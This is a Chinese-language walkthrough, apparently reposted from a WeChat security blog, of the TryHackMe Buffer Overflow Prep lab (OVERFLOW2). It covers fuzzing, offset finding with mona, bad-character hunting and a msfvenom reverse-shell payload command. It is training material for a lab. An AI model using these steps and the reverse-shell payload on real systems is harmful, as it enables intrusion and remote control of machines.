用脚本小子的方法学习缓冲出溢出漏洞2

admin 2022年10月2日05:37:29评论23 views字数 2009阅读6分41秒阅读模式


用脚本小子的方法学习缓冲出溢出漏洞2

点击上方蓝字关注我们!

用脚本小子的方法学习缓冲出溢出漏洞2

0x00:在线漏洞环境介绍+前期准备

这次还是用Try hack me的环境。房间号链接是 https://tryhackme.com/room/bufferoverflowprep。建议先连接他们的内网再连接靶机,在线网页版kali的稳定性真随缘,这次是第二关OVERFLOW2

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



启动完靶机之后可以用kali自带的xfreerdp远程桌面连接一波。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



连接成功以后以管理员身份运行Immunity Debugger,然后打开桌面的vulnerable-apps文件夹,再打开oscp文件夹,最后里面有个oscp.exe,双击点开,按住左上的红色按钮启动。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



这里可以使用nc验证一下,连到靶机1337端口以后出现Welcome xxxx代表运行成功。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



当然还得在Immunity Debugger里面设置联动波mona,后面会用的到。

用脚本小子的方法学习缓冲出溢出漏洞2


0x01:模糊测试

这里的python脚本都是来自该房间的OVERFLOW1,或者是这位大佬的github 脚本 https://github.com/hum4nG0D/OSCP_Bufferovrflw_Prep 。这里的模糊测试脚本是来自房间所提供的,复制下来以后需要更改ip地址,和prefix 指定OVERFLOW2就可以了。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



Python运行,程序承受数据的极限大概在700左右。

用脚本小子的方法学习缓冲出溢出漏洞2


0x02:精准定位

模糊测试只能测出一个大概,接下来我们需要精准测试出具体是在哪里溢出的。我们首先需要使用/usr/share/Metasploit-framework/tools/pattern_create -l 创造出一些字符串,这里我创了700个出来。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



把刚生成好的字符串贴到python脚本里面的buffer变量里(这个脚本是来自github上的),稍微修改下IP

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



重新运行一波python 02-offset.py。此时在Immunity Debuuger里面,程序是停止了,在底下输入框中输入!mona findmsp -distance 700, 可以看到有个EIP contains normal pattern xxxx offset 634,而634就是代表着程序溢出点。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



如果不太确定的话可以用下网页版所提供的脚本,修改下IP,和关卡名,然后再offset填入刚才得到的634,再retn这个变量里,填入BBBB或者是其它字符(前提是你记得它转换成其它进制的编码)

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



重新运行该脚本,此时EIP变成42424242是BBBB十六进制转换后的样子。

用脚本小子的方法学习缓冲出溢出漏洞2


0x03:寻找坏字符串

由于我们后面生成反弹shell是通过shellcode进行编码的,但是程序可能会对某些编码表示不认可,这就是坏字符串,我们得把它们找出来。这里得注意一波,每个程序对坏字符串会有不同的定义,比如这个程序可能会觉得x00 x01x02是坏字符串,另外一个程序可能会觉得xff是坏字符串。坏字符串基本上是没有固定的,除了x00


这里得先用mona通知一波x00是坏字符串

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



这里的思路是先通过网页的py脚本生成x01xff字符串,然后慢慢调试找出坏字符串除了。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



把生成好的一堆字符串复制到github脚本里面的bad变量里面,稍微修改下IP和关卡名。就可运行了。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



运行完py脚本以后此时的Immunity Debugger应该是停止状态。在底层输入框输入!mona compare -f C:monaoscpbytearray.bin -a ESP地址 会弹出一个比较结果并列出有可能的坏字符串出来。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



这里建议两个两个进行比较,比如说23 和24,在刚才的脚本中把23给删了,此时24消失了。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



而把24给删了,23,24两个都还在,内鬼是23它连累到后面的24字符串上坏字符串榜了。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



用这种方法慢慢推,最后用纸记录了一波。最后的坏字符串就是23 3c 83 和ba

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



找完以后用!mona bytearray -b “x00x23x3cx83xba”通知一波。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



把那些坏字符串给删掉。重新运行一波。

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



此时再比较一波已经变成unmodifed了,意思是没坏字符串了。

用脚本小子的方法学习缓冲出溢出漏洞2



用脚本小子的方法学习缓冲出溢出漏洞2



接下来,就是查找波跳跃点,用!mona命令以后可以找出很多跳跃点,这里我选择最头顶的这个。

用脚本小子的方法学习缓冲出溢出漏洞2



用脚本小子的方法学习缓冲出溢出漏洞2



然后把它写入到retn变量里面反着来写,并且按照x xx这种格式。

用脚本小子的方法学习缓冲出溢出漏洞2


0x04:生成最终payload

最重要的就是生成反弹shell了可以用这条命令

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "x00x23x3cx83xba" -f c

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



把刚才生成好的一堆shellcode复制到payload变量里面,这里在提一下我们的shellcode是需要一定空间解压的所以在padding 这个变量里面我们指定16x90

用脚本小子的方法学习缓冲出溢出漏洞2


用脚本小子的方法学习缓冲出溢出漏洞2



最后提前开启nc,重新运行最终payload,成功得到一个反弹shell

用脚本小子的方法学习缓冲出溢出漏洞2

原文始发于微信公众号(神隐攻防实验室):用脚本小子的方法学习缓冲出溢出漏洞2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月2日05:37:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用脚本小子的方法学习缓冲出溢出漏洞2http://cn-sec.com/archives/787693.html

发表评论

匿名网友 填写信息